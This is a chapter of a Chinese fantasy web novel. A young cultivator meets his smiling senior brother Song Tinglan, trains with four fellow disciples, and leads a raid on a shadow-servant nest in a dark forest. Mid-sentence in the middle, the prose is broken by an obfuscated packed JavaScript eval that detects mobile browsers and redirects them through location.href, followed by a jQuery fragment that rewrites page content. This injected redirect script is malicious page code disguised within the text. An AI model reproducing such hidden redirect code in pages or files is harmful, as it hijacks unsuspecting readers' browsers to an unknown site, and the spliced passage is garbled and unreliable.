静园迎来了最后一位归客。
江淮年照例在寅时三刻醒来，洗漱更衣，推门而出。
庭中薄雾未散，银杏树的轮廓在雾气中若隐若现，叶片上凝着细小的露珠。
他深吸一口微凉的空气，正准备开始晨跑，却听见大门方向传来轻微的叩击声。
萧予已从正房走出，朝大门走去。木门吱呀打开，门外站着一个人。
那人一身素白长衫，衣袂在晨风中微微飘动。
他身形颀长，比裴衍略矮，但比江淮年高出些许。灰色的短发梳理得一丝不苟，在熹微晨光中泛着柔和的银光。
最引人注目的是他的脸。
五官清俊，眉眼含笑，嘴角噙着一抹温和的弧度，看起来极易亲近。
但江淮年却莫名觉得，那笑容底下藏着些什么。就像陆时忆曾说过的：“宋听澜倒是爱笑，但笑里藏刀，阴得很。”
“师父。”宋听澜躬身行礼，声音温润如玉，“弟子回来了。”
“嗯。”萧予颔首，侧身让他进门，“此行可还顺利？”
“幸不辱命。”宋听澜直起身，目光在庭院中扫过，最后落在江淮年身上。他的笑容更深了些，“这位便是小师弟吧？果然如师父信中所言，一表人才。”
江淮年依礼抱拳：“宋师兄。”
“不必多礼。”宋听澜走近几步，从袖中取出一个巴掌大的木雕盒子，雕工精细，盒面刻着缠枝莲纹，“初次见面，一点薄礼，不成敬意。”
江淮年迟疑着接过。
盒子入手温润，带着淡淡的木质香气。
打开，里面是一枚青玉平安扣，玉质通透，内里隐有流光转动。
“这是温灵玉，常年佩戴可宁心静气，对你调和体内冰火之力或有助益。”宋听澜温声解释，语气真诚得让人挑不出毛病。
“多谢师兄。”江淮年合上盒子，郑重收好。不管宋听澜这人底细如何，这份礼物的确送到他心坎上了。自冰火双系觉醒以来，他时常感觉心浮气躁，尤其是情绪激动时，两股力量便不受控制地冲撞，几次险些伤及自身。
陆时忆打着哈欠从东厢房走出来，看见宋听澜，眼睛一亮：“哟，笑面虎回来了？正好，那俩人不在，我一个人带小师弟快闷死了。”
宋听澜转向陆时忆，笑容不变：“多日不见，时忆还是这么活泼。”
“那是，不像某些人，整天端着张笑脸，累不累啊。”陆时忆挤眉弄眼，显然是在调侃宋听澜。
宋听澜也不恼，只是笑着摇摇头，转而看向萧予：“师父，裴衍和时聿还未归？”
“昨日传讯，三日后回。”萧予说着，目光投向江淮年，“淮年，你宋师兄于木系操控颇有心得，可向他请教。”
宋听澜立刻接话：“师父谬赞。不过若小师弟不嫌弃，我确有些粗浅心得可分享。”
江淮年点头：“那便有劳师兄了。”
晨练依旧。
跑圈、拳架、力量训练，一样不落。宋听澜并未立即参与指导，而是在一旁静静观看。他看得极认真，那双含笑的灰眸专注地追随着江淮年的每一个动作，偶尔微微颔首，偶尔轻轻摇头。
训练间歇，江淮年坐在石凳上喘息，宋听澜递来一杯温水：“小师弟根基扎实，进步神速。只是……”
“只是什么？”江淮年接过水杯。
“只是太过急躁。”宋听澜在他对面坐下，姿态优雅，“你出拳时，肩颈紧绷；跑圈时，呼吸紊乱；就连调息时，眉间也凝着一股郁气。心中有事？”
江淮年握着水杯的手紧了紧。
他当然有事，江妤还在影仆手中，他每耽搁一天，妹妹的危险就多一分。但他不能说，至少不能对刚见面的宋听澜说。
“没什么。”他垂下眼。
宋听澜也不追问，只是笑了笑：“修行如烹小鲜，急不得。尤其你身负双系，更需徐徐图之。过刚易折，过急易乱，这个道理，小师弟想必明白。”
江淮年沉默。他明白，但他等不了。
“我观你体内冰火之力，似有失衡之象。”宋听澜话锋一转，“火盛而冰弱，长此以往，恐伤及经脉。午后若有闲暇，我可为你调息疏导。”
这话说得诚恳，江淮年想了想，点头应下：“多谢师兄。”
午后，二人来到庭院西侧的竹林。
这里清幽僻静，只有风吹竹叶的沙沙声。
宋听澜让江淮年盘膝坐下，自己则立于他身后，双手虚按在他背心。
“闭目，凝神，放缓呼吸。”
江淮年依言照做。
很快，他感到一股温润平和的力量从背心涌入，顺着经脉缓缓流淌。
那力量与他的冰火之力截然不同。
冰是刺骨的寒，火是灼人的热，而宋听澜的力量，像春日细雨，像初生草木，柔和却坚韧，所过之处，那些因力量冲撞而产生的滞涩与痛楚，竟一点点化开消散。
更奇妙的是，这股木系力量似乎有种奇特的调和作用。
它像一条柔软的纽带，在冰与火之间穿梭、缠绕，让原本激烈对抗的两股力量渐渐平息，甚至开始尝试着彼此接触融合。
不知过了多久，宋听澜收回手。
江淮年睁开眼，只觉得通体舒畅，连日来积压的疲惫与焦躁一扫而空，体内冰火之力也温顺了许多，不再像之前那样时时躁动。
“感觉如何？”宋听澜问，额角有细密的汗珠，显然刚才的疏导消耗不小。
“好多了。”江淮年真心实意地道谢，“多谢师兄。”
“举手之劳。”宋听澜笑笑，“你体内双系相冲，日后每月可找我疏导一次，如此可免反噬之危。”
江淮年郑重一礼：“有劳师兄。”
从那天起，宋听澜便正式加入了江淮年的修行。
与裴衍的严苛、陆时忆的跳脱不同，宋听澜的指导更侧重于调理与引导。
他会教江淮年如何通过调整呼吸来平复心绪，如何通过特定姿势来疏导力量，甚至还会讲解一些简单的药理知识。
哪些草药可清心火，哪些可祛寒毒，哪些可固本培元。
“木系之力，在于生与愈。”某次调息后，宋听澜这样解释，“生生不息，愈愈不绝。你的冰火双系太过暴烈，需以木之柔和来调和，方能长久。”
江淮年认真听着，将这些知识一一记下。
他发现，宋听澜虽然总是面带笑容，说话温和，但教导时却一丝不苟，每一个细节都要求精准到位。
若江淮年稍有懈怠或失误，宋听澜不会像裴衍那样冷言冷语，也不会像陆时忆那样插科打诨，只会微笑着重复那个动作或口诀，一遍，两遍，三遍，直到江淮年做到完美为止。
这种温和的坚持，某种程度上比裴衍的严厉更让人压力倍增。
三日后，裴衍和时聿如期归来。
二人皆是一身风尘，衣角沾着泥渍，脸上带着长途跋涉后的疲惫。
裴衍的棕发有些凌乱，几缕碎发垂在额前，遮住了那双总是半眯的眼睛。
时聿的墨镜依旧稳稳架在鼻梁上，但纯黑劲装上多了几道划痕，像是被利器所割。
萧予在书房听他们汇报，门关着，听不清具体内容。
但从二人凝重的神色来看，此行恐怕不太顺利。
晚膳时，气氛明显沉闷了许多。陆时忆几次想活跃气氛，都被裴衍一个眼神堵了回去。
时聿依旧沉默，只是吃饭的速度比往常快了些。宋听澜倒是神色如常，还夹了块红烧肉放到江淮年碗里：“小师弟正长身体，多吃些。”
江淮年道谢，埋头吃饭。
他能感觉到，有什么事情正在发生，或者即将发生。
果然，膳后萧予将五人全部召至书房。老人坐在太师椅上，面前摊开那卷地图，但这次上面用朱笔画了一个醒目的红圈，旁边还标注了几个扭曲的符号。
“北境之事，已有眉目。”萧予开门见山，手指点在那个红圈上，“据裴衍、时聿探查，影仆确实在那里建立了据点，且数量远超预估。更重要的是……”
他顿了顿，抬眼看向五人：“有迹象表明，那里可能囚禁着容器。”
容器。
这个词像一根冰冷的针，扎进江淮年心脏。
“不止一个？”陆时忆收起嬉笑，神色严肃。
“至少三个。”裴衍接话，声音低沉，“我们潜入据点外围，感应到三股不同的异质波动。虽被刻意遮掩，但那种与影仆同源、却又更精纯的气息，错不了。”
时聿点头补充：“据点守卫森严，有高阶影仆巡逻，我们未能深入，但可确定容器还活着。波动虽弱，却持续存在。”
江淮年感到喉咙发干。
他张了张嘴，想问那些容器里是否有江妤，却又不敢问。
怕问出来，得到的答案是否定的，也怕是肯定的。
若江妤真的在那里，意味着她正身处最危险的魔窟。
“师父，我们何时出发？”宋听澜问，脸上笑容依旧，但眼底已无丝毫暖意。
萧予没有立刻回答，而是看向江淮年：“淮年，你修行时日尚短，本不该让你涉险。
但此次情况特殊，你体内的冰火双系，或许能成为破局关键。”
江淮年站起身，声音因激动而微颤：“弟子愿往！”
“莫急。”萧予抬手示意他坐下，“你的力量尚不稳定，此去凶险，需有万全准备。三日后出发，这几日，你们五人需加强合练，尤其是配合。”
接下来的三日，静园的训练强度骤然提升。
裴衍负责统筹全局。他将五人分成两组：裴衍、时聿、宋听澜负责正面突破；陆时忆和江淮年负责远程策应和干扰。
“陆时忆，你以速度见长，但威力不足。”裴衍在地面上画出简易的布防图，“届时你需游走外围，以电击干扰影仆行动，为突击组创造机会。记住，不求杀伤，只求牵制。”
陆时忆难得正经，点头应下：“明白。”
“江淮年。”裴衍看向他，目光锐利，“你的冰火双系尚未成熟，但正因如此，反可能出奇制胜。影仆属阴邪之物，畏火惧光，你的火焰可作威慑；冰系则可迟缓其行动。但切记，你的首要任务是自保，不可贸然深入。”
江淮年用力点头：“是。”
“宋听澜。”裴衍转向白衣少年，“木系主控场。到时你需在战场布下藤蔓网阵，困住影仆，同时以木灵之力为众人疗伤。记住，你的位置最关键，一旦你倒下，整个阵型都会崩溃。”
宋听澜微笑颔首：“放心，我会守住阵眼。”
“时聿，你负责侦查与突袭。开战前，潜入据点摸清容器位置；开战后，你需在最短时间内突破防线，救出容器。记住，你的任务最重，也最险，一旦暴露，立刻撤退，不可恋战。”
时聿推了推墨镜，简洁吐出一个字：“好。”
分工明确后，便是反复的演练。五人移步至静园后方的训练场。
一片被高大围墙圈起的空地，地面铺着细沙，四周立着木人桩和箭靶。
第一场合练，堪称灾难。
裴衍下令进攻，陆时忆率先冲出，掌心电光闪烁，却因太过兴奋而失了准头，一道电击偏出三丈，打在围墙根上，溅起一片沙石。
时聿趁机潜入阴影，但宋听澜布下的藤蔓网阵却慢了一拍，未能及时封住敌人退路。
江淮年更是手忙脚乱，冰锥与火球齐发，却因操控不精，差点误伤从侧翼突进的裴衍。
“停！”裴衍脸色铁青，“你们在过家家吗？”
陆时忆挠头讪笑：“失误，失误。”
时聿从阴影中现身，墨镜后的眉头微皱。江淮年则羞愧地低下头，盯着自己因过度用力而微微颤抖的双手。
“再来！”裴衍声音冷硬，“今日练不好，谁也不许休息！”
第二场，第三场，第四场……从日出到日落，五人不知演练了多少遍。汗水浸透衣衫，异能几近枯竭，裴衍却丝毫没有喊停的意思。
只是对江淮年来说格外痛苦，双系同出本就极耗心神，连续高强度施放更是让他头疼欲裂，好几次眼前发黑，几乎昏厥。但他咬紧牙关，一次次凝冰聚火，一次次调整角度，一次次逼迫自己做到更快、更准、更稳。
夕阳西斜时，裴衍终于喊停。
五人瘫坐在沙地上，大口喘息，连说话的力气都没有了。
“今日到此为止。”裴衍站起身，虽然也是满身大汗，但脊背依然挺直，“回去调息，明早继续。”
江淮年挣扎着爬起来，拖着灌铅般的双腿走回房间。
他连洗漱的力气都没有，直接倒在床上，几乎是瞬间便陷入了昏睡。
梦中，他又看见了江妤。
她看着他，嘴唇开合，像在呼喊什么，但他听不见。
他想冲过去救她，脚下却忽然裂开深渊，无数影仆从黑暗中涌出，抓住他的脚踝，将他往下拖……
江淮年猛地惊醒，冷汗浸透衣衫。
窗外月色惨白，远处传来夜枭的啼叫。他坐起身，抹了把脸，指尖触到一片湿冷。
不能失败。
他对自己说。
绝对不能。
接下来的两日，训练强度有增无减。但五人之间的默契，却在一次次失败、一次次磨合中，悄然生长。
最后一次合练结束。
几人围坐一圈，身上皆是大汗淋漓，但眼中都有了光。
“明日寅时出发。”裴衍言简意赅，“各自准备，不可懈怠。”
众人点头，各自散去。
江淮年回到房间，开始整理行装。
换洗衣物、干粮、水囊、伤药、萧予给的几枚应急丹药。最后，他将江妤的贝壳胸针和那张画着海的画纸小心收进内袋，贴在胸口。
收拾妥当，他坐在床边，看着窗外渐沉的夜色。明日，他将真正踏入那个光怪陆离的世界，与影仆交战，寻找被囚禁的容器。
恐惧吗？
当然恐惧。
但更多的是一种决意。
无论前方是什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119449|195948||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，他都要走下去，
都要把江妤带回来。
敲门声响起，是陆时忆。
他拎着一个小布袋进来，脸上挂着惯常的笑容，但眼底有一丝不易察觉的担忧。
“给，好东西。”陆时忆把布袋塞给江淮年，“雷光符，我昨晚熬夜画的。遇到危险就扔出去，能炸开一片电光，干扰影仆视线。虽然杀伤力不大，但逃命应该够用。”
江淮年接过，布袋沉甸甸的，里面至少有十几张符纸：“谢谢师兄。”
“客气啥。”陆时忆摆摆手，又压低声音，“明天跟紧我，别乱跑。
裴衍那家伙虽然嘴上不说，但战术安排都是把你放在最安全的位置。你也别觉得委屈，现在这水平，能自保不拖后腿就是胜利。”
江淮年点头。
他知道自己实力最弱，能做的有限。
但有限也好过无力，他至少不再是那个雨夜中，只能眼睁睁看着妹妹被夺走的少年了。
陆时忆走后不久，宋听澜也来了。
他提着一个药箱，从里面取出几个小瓷瓶：“这是清心丹，可宁神静气，压制你体内火毒；这是寒玉膏，专治灼伤；这是生机散，内服外敷皆可，疗伤效果不错。”
江淮年一一接过，郑重道谢。
宋听澜微笑：“同门之间，不必言谢。只是明日切记，无论如何，保全自身为要。你活着，才有希望救你妹妹。”
这话说到了江淮年心坎上。
他用力点头：“我明白。”
宋听澜拍拍他的肩，转身离去。
走到门口时，他忽然回头，脸上的笑容淡了几分，灰眸在烛光中显得格外幽深：“小师弟，黑暗之中，最可怕的往往不是敌人，而是人心。明日无论看到什么，听到什么，都需保持清醒，莫要被表象所惑。”
这话说得意味深长，江淮年还想再问，宋听澜却已掩门离去。
夜深了。
江淮年吹灭烛火，躺在床上，却毫无睡意。
“淮年，”老人送别时的话犹在耳边，“此去凶险，但也是你必经之路。记住，力量不是目的，而是手段。你为何而战，比如何而战更重要。”
为何而战？
为了江妤。
为了那个雨夜被夺走的妹妹。
为了不再经历那种无能为力的绝望。
江淮年握紧胸口的贝壳胸针，闭上了眼睛。
寅时，天未亮，五人已在庭院集合。裴衍与萧予低声交谈几句，而后转身，目光扫过众人：“出发。”
几人一路向北。裴衍领队，时聿在前侦查，宋听澜与陆时忆分居两侧，江淮年被护在中央。他们走得很快，却不发出太大声响，显然都经过严格的潜行训练。
起初是平原，而后是丘陵，最后进入一片茂密的森林。这里的树木异常高大，树冠遮天蔽日，即使白昼也光线昏暗。
空气中弥漫着潮湿的腐叶气味，偶尔传来几声怪异的鸟鸣，在寂静中显得格外刺耳。
“这里就是暗影之森。”裴衍压低声音，“影仆的据点就在森林深处。从现在开始，保持警惕，任何风吹草动都不能放过。”
众人点头，脚步放得更轻。时聿身形一闪，没入前方树影，消失不见。
片刻后，他从前方的阴影中浮现，打了个手势。
安全。
如此前行了约莫两个时辰，森林越发幽深，光线几乎完全被遮蔽，只能勉强看清脚下。
空气越来越冷，呼出的气息凝成白雾。
“小心。”裴衍忽然停下，抬手示意众人止步。
前方不远处，一棵巨树的树干上，附着着一团黏稠的、蠕动着的黑影。那黑影没有固定形状，像一滩融化的沥青，表面不时泛起涟漪，散发出令人作呕的腐败气息。
影仆。
而且是低阶尚未完全成形的影仆。
“时聿。”裴衍低声道。
时聿点头，身形再次没入阴影。
下一秒，那团黑影忽然剧烈颤抖，仿佛被无形的手从内部撕裂，化作一缕黑烟消散在空气中。
整个过程悄无声息，快得江淮年几乎没看清时聿是如何出手的。
“继续前进。”
越往深处走，遇到的影仆越多。
有些附着在树干上，有些潜伏在落叶下，有些甚至伪装成树影，稍不留神就会中招。
时聿像一道真正的影子，在林中穿梭，所过之处，影仆纷纷溃散。
裴衍则时刻关注着周围环境，不时以土系异能加固脚下地面，或竖起土墙挡住突然袭来的黑影。
陆时忆和宋听澜也没闲着。陆时忆的电击精准地点杀漏网之鱼，宋听澜则沿途布下细小的藤蔓，一旦有影仆靠近便会触发警报。
江淮年被护在中央，几乎没机会出手。他只能紧紧跟随，努力记住每个人的动作，学习他们应对影仆的方式。
忽然，走在最前的时聿打了个停止的手势。五人立刻隐蔽到树后，屏息凝神。
前方树林豁然开朗，露出一片空地。空地中央，矗立着一座扭曲的建筑。
那似乎是由无数黑色藤蔓与腐木纠缠而成的巢穴，表面布满了脉动的、血管般的纹路。
巢穴入口处，两个高大的黑影正在巡逻，它们身形凝实，隐约能看出人形轮廓，但五官模糊，只有两团猩红的光在头部位置闪烁。
高阶影仆。而且不止两个。
透过巢穴的缝隙，能看见里面还有更多黑影在蠕动。
“到了。”裴衍的声音压得极低，“时聿，摸清情况。陆时忆，准备干扰。宋听澜，布阵。江淮年，待在我身边，没我命令不许动。”
时聿点头，身形如水般融入阴影，朝巢穴摸去。
陆时忆掌心电光隐现，宋听澜则闭上眼，双手按在地面，细小的藤蔓如蛛网般向四周蔓延。
江淮年握紧拳头，掌心沁出冷汗。他能感觉到，巢穴深处传来某种令人心悸的波动。
那是与影仆同源，却更加精纯、更加黑暗的气息。
影主。
即使未曾谋面，他也确定，那里面绝对有影主级别的存在。
时间一分一秒过去。
每一秒都像一年那么漫长。
江淮年能听见自己心跳的声音，咚咚，咚咚，撞击着耳膜。
忽然，巢穴深处传来一声凄厉的尖啸。
时聿暴露了。
裴衍脸色一沉：“行动！”
陆时忆率先冲出，双掌齐推，两道刺目的电光射向巢穴入口。
那两个高阶影仆被电光击中，发出嘶哑的咆哮，动作明显一滞。
就是现在。
宋听澜睁眼，双手猛然抬起，
无数粗壮的藤蔓破土而出，如活物般缠向影仆，瞬间将入口封死。
“走。”裴衍率先冲向巢穴。
江淮年紧随其后，心跳如雷。
前方，黑暗正张开巨口，等待他们的，将是一场恶战。
他终于要直面那个夺走妹妹的黑暗世界了。